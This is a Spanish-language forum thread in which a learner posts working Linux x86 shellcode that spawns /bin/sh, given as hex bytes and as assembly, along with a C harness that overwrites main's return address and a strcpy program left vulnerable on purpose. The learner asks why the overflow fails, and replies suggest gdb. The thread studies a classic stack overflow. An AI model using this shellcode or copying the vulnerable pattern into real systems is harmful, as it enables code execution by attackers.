Estoy investigando un poco en esto de los bufferoverflows y shellcodes, pero llevo dos semanas atascado en un punto y no consigo avanzar....
Bueno he conseguido hacer un shellcode basico (shell), lo he conseguido ejecutar llamando al array como a una función
Código:
char shellcode[]= "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x66\x07\x89\x46\x0c\xb0
\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xc3
\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main()
{
int *ret;
ret = (int *) &ret + 2;
(*ret)= (int) shellcode;
}
\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xc3
\x40\xcd\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68";
void main()
{
int *ret;
ret = (int *) &ret + 2;
(*ret)= (int) shellcode;
}
esto me funciona... lo siguiente que he hecho (siguiendo el Smashing the Stack for Fun and Profit) es poner el shellcode seguido de una dir muchas veces (estimacion de la posicion del buffer), para al desbordarlo que se ejecute mi shell code.
el ASM del shell code es:
Código:
section .text
global _start
_start:
jmp short dest
cerca:
pop esi
mov [esi+8],esi
xor eax,eax
mov [esi+7], ah
mov [esi+12], eax
mov al,0xb
mov ebx,esi
lea ecx,[esi+8]
lea edx,[esi+12]
int 0x80
xor ebx,ebx
mov ebx,eax
inc eax
int 0x80
dest:
call near cerca
db '/bin/sh'
global _start
_start:
jmp short dest
cerca:
pop esi
mov [esi+8],esi
xor eax,eax
mov [esi+7], ah
mov [esi+12], eax
mov al,0xb
mov ebx,esi
lea ecx,[esi+8]
lea edx,[esi+12]
int 0x80
xor ebx,ebx
mov ebx,eax
inc eax
int 0x80
dest:
call near cerca
db '/bin/sh'
el programa vulnerable es:
Código:
#include <string.h>
#include <stdio.h>
void main(int argc, char *argv[]) {
char buffer[512];
int i;
if (argc > 1)
strcpy(buffer,argv[1]);
}
#include <stdio.h>
void main(int argc, char *argv[]) {
char buffer[512];
int i;
if (argc > 1)
strcpy(buffer,argv[1]);
}
bueno una vez expuesto el problema... vienen las preguntas XD
he desensamblado strcpy, y siguiendo un poco lo que haria en el caso del bufferoverflow en la pila, la direccion que estamos sobreescribiendo es la de retorno de main, no la de strcpy, puesto que los parametros de strcpy son solo direcciones y no el buffer en si, ¿no?
bueno el problema viene en q cuando intento hacer el bufferoverflow, me da un fallo de segmento (es porque ejecuto codigo en la pila? el gcc no hace esto en algunas circunstancias?), he ejecutado el programa vulnerable con strace -i y el SIGILL me lo manda cuando EIP apunta a:
Código:
mov [esi+8],esi
y no tengo ni idea de que puedo estar haciendo mal... (me voy a volver loco)bueno en caso de que alguien no sepa que le puede pasa, alguien sabe alguna herramienta para debuggear la ejecucion de un progma (un exe)? algun tipo de winice para linux (mejor en modo texto, no he probado LinIce no tengo pantalla en el server)










Autor


En línea

, sobreescribe el ret de main, no de strcpy. Ahora respecto del error, ¿te fijaste el valor de esi?, posiblemente este saltando a mov [esi+8], esi de una. Usa gdb para depurarlo, y para ver el core dump gdb -c core.
.-
(algo bueno)

.
. Digo si las variables de entorno se meten en la pila del proceso, puede ser que dos procesos diferentes tengan direcciones diferentes de una misma variable de entorno 